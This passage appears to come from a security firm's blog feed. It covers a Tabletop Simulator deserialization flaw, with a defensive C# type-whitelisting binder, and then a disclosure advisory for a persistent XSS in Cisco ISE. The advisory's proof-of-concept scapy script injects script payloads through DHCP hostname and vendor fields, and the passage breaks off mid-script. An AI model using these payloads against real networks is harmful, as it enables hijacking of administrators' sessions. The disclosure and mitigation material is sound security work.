  <div class="youtube-gdpr-placeholder" data-id="SskirV-Ibj4" alt="Deserialization Attacks in .Net Games - TableTop Simulator Proof of Concept">
    <div class="youtube-gdpr-overlay">
      
        <h3>Deserialization Attacks in .Net Games - TableTop Simulator Proof of Concept</h3>
      
      <p>This content is hosted by YouTube. By showing the external content you accept the <a href="https://policies.google.com/privacy">YouTube privacy policy</a>.</p>
      <button class="youtube-gdpr-accept">Accept and show content</button>
    </div>
  </div>
</div>

<script>
document.addEventListener('DOMContentLoaded', function() {
  const containers = document.querySelectorAll('.youtube-gdpr-container');
  containers.forEach(container => {
    const button = container.querySelector('.youtube-gdpr-accept');
    const placeholder = container.querySelector('.youtube-gdpr-placeholder');
    const videoId = placeholder.getAttribute('data-id');

    button.addEventListener('click', function() {
      const iframe = document.createElement('iframe');
      iframe.setAttribute('src', `https://www.youtube-nocookie.com/embed/${videoId}`);
      iframe.setAttribute('frameborder', '0');
      iframe.setAttribute('allow', 'encrypted-media; picture-in-picture');
      iframe.setAttribute('allowfullscreen', '');
      placeholder.innerHTML = '';
      placeholder.appendChild(iframe);
    });
  });
});
</script>

<h3 id="the-mod-vulnerability">The Mod Vulnerability</h3>
<p>In Tabletop Simulator users can upload their table setups and
scripts into the Steam Workshop to share them with the community.
These mods can be subscribed to and downloaded to use by any player.
When a mod has finished downloading it will eventually be
deserialized.<br>
When the download from the Steam Workshop has completed the
<strong>CallResultWorkshopReadDownload</strong> callback method will be invoked.<br>
This method in turn calls <strong>SerializationScript::Save</strong> which
attempts to load the file contents with the <strong>GetPhysicsState</strong>
method first and the JSON Serializer second.<br>
<strong>GetPhysicsState</strong> then invokes <strong>BinaryFormatter::Deserialize</strong>.</p>
<p>A malicious attacker is able to upload a mod that will execute
arbitrary code when deserialized, potentially allowing it to spread
through the Steam Workshop.</p>
<h1 id="mitigations">Mitigations</h1>
<p>In its default configuration BinaryFormatter in .Net is insecure.
Several well known gadget chains exist that can be easily used to
gain arbitrary code execution.</p>
<p>BinaryFormatter does however allow the definition of a Binder class
which handles the resolution of types used in the Serialization and
Deserialization processes.</p>
<p>Using such a Binder, whitelisting of expected types can be
facilitated with relative ease, providing resilience against
deserialization gadgets. This method was used to fix all of the
vulnerabilities mentioned above. Following is an example Binder that
allows the restriction of deserialized types to those required to
deserialize the generic type T. It is provided under the GNU
All-permissive license.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span><span class="lnt">83
</span><span class="lnt">84
</span><span class="lnt">85
</span><span class="lnt">86
</span><span class="lnt">87
</span><span class="lnt">88
</span><span class="lnt">89
</span><span class="lnt">90
</span><span class="lnt">91
</span><span class="lnt">92
</span><span class="lnt">93
</span><span class="lnt">94
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-csharp" data-lang="csharp"><span class="line"><span class="cl"><span class="cm">/*Copyright 2020, Nils Ole Timm - modzero
</span></span></span><span class="line"><span class="cl"><span class="cm">
</span></span></span><span class="line"><span class="cl"><span class="cm">Copying and distribution of this file, with or without modification,
</span></span></span><span class="line"><span class="cl"><span class="cm">are permitted in any medium without royalty,
</span></span></span><span class="line"><span class="cl"><span class="cm">provided the copyright notice and this notice are preserved.
</span></span></span><span class="line"><span class="cl"><span class="cm">This file is offered as-is, without any warranty.*/</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Collections.Generic</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Linq</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Text</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Threading.Tasks</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Reflection</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Collections</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Runtime.Serialization</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Runtime.Serialization.Formatters.Binary</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Runtime.Serialization.Formatters</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">namespace</span> <span class="nn">StronglyTypedSerializationBinder</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">//A binder can control which types are used in deserialization</span>
</span></span><span class="line"><span class="cl">    <span class="c1">//This binder only allows the deserialization of objects of the expected type</span>
</span></span><span class="line"><span class="cl">    <span class="c1">//and its member fields</span>
</span></span><span class="line"><span class="cl">    <span class="kd">public</span> <span class="k">class</span> <span class="nc">StronglyTypedBinder</span><span class="p">&amp;</span><span class="n">ltT</span><span class="p">&gt;</span> <span class="p">:</span> <span class="n">SerializationBinder</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">//This function is called when the deserialization needs to find the runtime type</span>
</span></span><span class="line"><span class="cl">        <span class="c1">//associated with the stored type of the serialized data</span>
</span></span><span class="line"><span class="cl">        <span class="kd">public</span> <span class="kd">override</span> <span class="n">Type</span> <span class="n">BindToType</span><span class="p">(</span><span class="kt">string</span> <span class="n">assemblyName</span><span class="p">,</span> <span class="kt">string</span> <span class="n">typeName</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">Type</span> <span class="n">type</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="c1">//Compute the allowed types for this deserialization binder if they haven&#39;t already</span>
</span></span><span class="line"><span class="cl">            <span class="c1">//been computed</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">allowedTypes</span><span class="p">.</span><span class="n">Count</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">ComputeAllowedTypes</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">allowedTypes</span><span class="p">.</span><span class="n">TryGetValue</span><span class="p">(</span><span class="n">typeName</span><span class="p">,</span> <span class="k">out</span> <span class="n">type</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="n">type</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="c1">//If the type isn&#39;t found return typeof(object) to cause harmless default behaviour</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="k">typeof</span><span class="p">(</span><span class="kt">object</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">//Calculate which types should be allowed for type T</span>
</span></span><span class="line"><span class="cl">        <span class="kd">private</span> <span class="k">void</span> <span class="n">ComputeAllowedTypes</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">Type</span> <span class="n">baseType</span> <span class="p">=</span> <span class="k">typeof</span><span class="p">(</span><span class="n">T</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="c1">//Add base type and types of fields and their fields recursively up to maximum depth</span>
</span></span><span class="line"><span class="cl">            <span class="n">AddAllowedTypesRecursive</span><span class="p">(</span><span class="n">baseType</span><span class="p">,</span> <span class="m">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">//Recursively add types of fields to list</span>
</span></span><span class="line"><span class="cl">        <span class="kd">private</span> <span class="k">void</span> <span class="n">AddAllowedTypesRecursive</span><span class="p">(</span><span class="n">Type</span> <span class="n">t</span><span class="p">,</span> <span class="kt">int</span> <span class="n">depth</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">//Stop when maximum depth of recursion is reached</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">depth</span> <span class="p">&gt;</span> <span class="n">MAX_RECURSIONS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="c1">//Add base type if not already added</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(!</span><span class="n">allowedTypes</span><span class="p">.</span><span class="n">ContainsKey</span><span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">FullName</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">                <span class="n">allowedTypes</span><span class="p">.</span><span class="n">Add</span><span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">FullName</span><span class="p">,</span> <span class="n">t</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="c1">//If type is primitive no need to recurse further</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">IsPrimitive</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="c1">//If type is generic, handle fields and generic parameters and do special handling of Dictionary</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">IsGenericType</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">Type</span><span class="p">[]</span> <span class="n">genericArguments</span> <span class="p">=</span> <span class="n">t</span><span class="p">.</span><span class="n">GetGenericArguments</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="k">foreach</span> <span class="p">(</span><span class="n">Type</span> <span class="n">t2</span> <span class="k">in</span> <span class="n">genericArguments</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="n">AddAllowedTypesRecursive</span><span class="p">(</span><span class="n">t2</span><span class="p">,</span> <span class="n">depth</span> <span class="p">+</span> <span class="m">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">foreach</span> <span class="p">(</span><span class="n">FieldInfo</span> <span class="n">fi</span> <span class="k">in</span> <span class="n">t</span><span class="p">.</span><span class="n">GetFields</span><span class="p">(</span><span class="n">BindingFlags</span><span class="p">.</span><span class="n">Instance</span> <span class="p">|</span> <span class="n">BindingFlags</span><span class="p">.</span><span class="n">Public</span> <span class="p">|</span> <span class="n">BindingFlags</span><span class="p">.</span><span class="n">NonPublic</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="n">AddAllowedTypesRecursive</span><span class="p">(</span><span class="n">fi</span><span class="p">.</span><span class="n">FieldType</span><span class="p">,</span> <span class="n">depth</span> <span class="p">+</span> <span class="m">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">GetGenericTypeDefinition</span><span class="p">()</span> <span class="p">==</span> <span class="k">typeof</span><span class="p">(</span><span class="n">Dictionary</span><span class="p">&lt;,&gt;))</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="n">AddAllowedTypesRecursive</span><span class="p">(</span><span class="n">Type</span><span class="p">.</span><span class="n">GetType</span><span class="p">(</span><span class="s">&#34;System.Collections.Generic.GenericEqualityComparer`1&#34;</span><span class="p">).</span><span class="n">MakeGenericType</span><span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">GetGenericArguments</span><span class="p">()[</span><span class="m">0</span><span class="p">]),</span> <span class="n">MAX_RECURSIONS</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="n">AddAllowedTypesRecursive</span><span class="p">(</span><span class="k">typeof</span><span class="p">(</span><span class="n">KeyValuePair</span><span class="p">&lt;,&gt;).</span><span class="n">MakeGenericType</span><span class="p">(</span><span class="n">genericArguments</span><span class="p">),</span> <span class="n">MAX_RECURSIONS</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="c1">//If type is an array add the type of the element</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">IsArray</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">AddAllowedTypesRecursive</span><span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">GetElementType</span><span class="p">(),</span> <span class="n">depth</span> <span class="p">+</span> <span class="m">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="c1">//In all other cases add the types of all fields</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span> <span class="k">foreach</span> <span class="p">(</span><span class="n">FieldInfo</span> <span class="n">fi</span> <span class="k">in</span> <span class="n">t</span><span class="p">.</span><span class="n">GetFields</span><span class="p">(</span><span class="n">BindingFlags</span><span class="p">.</span><span class="n">Instance</span> <span class="p">|</span> <span class="n">BindingFlags</span><span class="p">.</span><span class="n">Public</span> <span class="p">|</span> <span class="n">BindingFlags</span><span class="p">.</span><span class="n">NonPublic</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="n">AddAllowedTypesRecursive</span><span class="p">(</span><span class="n">fi</span><span class="p">.</span><span class="n">FieldType</span><span class="p">,</span> <span class="n">depth</span> <span class="p">+</span> <span class="m">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="kd">static</span> <span class="n">Dictionary</span><span class="p">&amp;</span><span class="n">ltstring</span><span class="p">,</span> <span class="n">Type</span><span class="p">&gt;</span> <span class="n">allowedTypes</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Dictionary</span><span class="p">&amp;</span><span class="n">ltstring</span><span class="p">,</span> <span class="n">Type</span><span class="p">&gt;();</span>
</span></span><span class="line"><span class="cl">        <span class="kd">const</span> <span class="kt">int</span> <span class="n">MAX_RECURSIONS</span> <span class="p">=</span> <span class="m">4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded></item><item><title>[MZ-19-03] Persistent XSS in CISCO ISE</title><link>https://modzero.com/en/advisories/mz-19-03-cisco-ise/</link><pubDate>Wed, 19 Feb 2020 00:13:37 +0200</pubDate><author>Max Moser, Katharina Männle</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-19-03-cisco-ise/</guid><description>Unauthenticated persistent cross-site scripting injection into the administrative console of CISCO ISE web application via DHCP request</description><content:encoded><![CDATA[<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">----------------------------------------------------[MZ-19-03]----v1.2--
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero Security Advisory:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Unauthenticated persistent cross-site scripting injection into the
</span></span><span class="line"><span class="cl">administrative console of CISCO ISE web application via DHCP request
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1. Timeline
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 2019-11-22: Advisory sent to Cisco PSIRT psirt@cisco.com
</span></span><span class="line"><span class="cl">* 2019-11-22: PSIRT opened case (PSIRT-0535851956)
</span></span><span class="line"><span class="cl">* 2019-11-22: PSIRT communicated tentative publishing date &#39;2020-02-19&#39;
</span></span><span class="line"><span class="cl">* 2020-02-12: PSIRT incident manager confirmed reproduceability
</span></span><span class="line"><span class="cl">* 2020-02-12: Received an unofficial CVE Number CVE-2020-3156
</span></span><span class="line"><span class="cl">* 2020-02-19: modzero released advisory to the public
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">In  accordance  with  modzero&#39;s  disclosure  policy,  the  advisory  is
</span></span><span class="line"><span class="cl">expected  to  be published  not  later than  February  21st, 2020.  Our
</span></span><span class="line"><span class="cl">disclosure policy is available at:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.ch/static/modzero_Disclosure_Policy.pdf
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2. About
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Affected vendor: Cisco
</span></span><span class="line"><span class="cl">Latest known to be vulnerable version products:
</span></span><span class="line"><span class="cl">    * Cisco Identity Services Engine version 2.6.0.156, Patch 2,3
</span></span><span class="line"><span class="cl">      - Product Identifier: SNS-3655-K9
</span></span><span class="line"><span class="cl">      - Version Identifier A0
</span></span><span class="line"><span class="cl">      - ADE-OS Version 3.0.5.144
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The Cisco Identity Services Engine is the engine behind Cisco&#39;s Network
</span></span><span class="line"><span class="cl">Access Control  solution. It  enables the  creation and  enforcement of
</span></span><span class="line"><span class="cl">security and access policies for endpoint devices connected to the
</span></span><span class="line"><span class="cl">company&#39;s routers and switches.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3. Details
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An unauthenticated attacker who is  able to inject a specially  crafted
</span></span><span class="line"><span class="cl">DHCP  request  packet into  the  network controlled  by  Cisco Identify
</span></span><span class="line"><span class="cl">Service  Engine  (ISE),  is  able to  persistently  store  code  (e. g.
</span></span><span class="line"><span class="cl">JavaScript),  which  is  executed in  the  context  of the  Web-browser
</span></span><span class="line"><span class="cl">accessing the Web-based management interface.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The vulnerability is due to insufficient validation and encoding of the
</span></span><span class="line"><span class="cl">attacker-controllable  input  within  the  hostname  and  vendor  class
</span></span><span class="line"><span class="cl">identifier field of processed DHCP request packets.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The attacker-controlled  code will  be executed  in the  context of the
</span></span><span class="line"><span class="cl">user  of the  Web-based management  console. If  a legitimate  user is
</span></span><span class="line"><span class="cl">reviewing  an  Endpoint&#39;s  attributes  within  the  Identity   Services
</span></span><span class="line"><span class="cl">Engine&#39;s Web- based-management-interface.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The attacker-controlled  code will  be executed  in the  context of the
</span></span><span class="line"><span class="cl">user that is currently logged  in to the Web-based management  console,
</span></span><span class="line"><span class="cl">when  the  endpoint  attribute  details  are  reviewed  by  opening the
</span></span><span class="line"><span class="cl">following
</span></span><span class="line"><span class="cl">URL:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://ISESRV/admin/login.jsp#context_dir/context_dir_devices/endpointDetails
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">4. Impact
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The code will be executed with the rights of the user accessing the Web-
</span></span><span class="line"><span class="cl">based management console. If the user has administrative rights, the
</span></span><span class="line"><span class="cl">attacker might be able to leverage arbitrary functions of the Web-based
</span></span><span class="line"><span class="cl">management interface.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">5. Proof of Concept exploit
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Using the following python script, two simple JavaScript code fragments
</span></span><span class="line"><span class="cl">will be sent in the hostname and vendor class identifier fields of the
</span></span><span class="line"><span class="cl">DHCP request.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">#!/usr/bin/env python
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">from scapy.all import *
</span></span><span class="line"><span class="cl">import scapy
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">conf.iface = &#34;eth0&#34;
</span></span><span class="line"><span class="cl">hostname_payload = &#34;&lt;script&gt;alert(&#39;hostname payload&#39;)&lt;/script&gt;&#34;
</span></span><span class="line"><span class="cl">vendor_class_id_payload = &#34;&lt;script&gt;alert(&#39;v class id payload&#39;)&lt;/script&gt;&#34;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_, hw   = get_if_raw_hwaddr(conf.iface)
</span></span><span class="line"><span class="cl">ethernet = Ether(dst=&#39;ff:ff:ff:ff:ff:ff&#39;, src=hw, type=0x800)
</span></span><span class="line"><span class="cl">ip       = IP(src =&#39;0.0.0.0&#39;, dst=&#39;255.255.255.255&#39;)
</span></span><span class="line"><span class="cl">udp      = UDP (sport=68, dport=67)
</span></span><span class="line"><span class="cl">bootp    = BOOTP(op=1, chaddr=hw)
</span></span><span class="line"><span class="cl">dhcp     = DHCP(options=[(&#34;message-type&#34;,&#34;request&#34;), \
</span></span><span class="line"><span class="cl">    (&#34;hostname&#34;,hostname_payload),(&#34;vendor_class_id&#34;, \
</span></span><span class="line"><span class="cl">    vendor_class_id_payload),(&#39;end&#39;)])
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">packet   = ethernet / ip / udp / bootp / dhcp
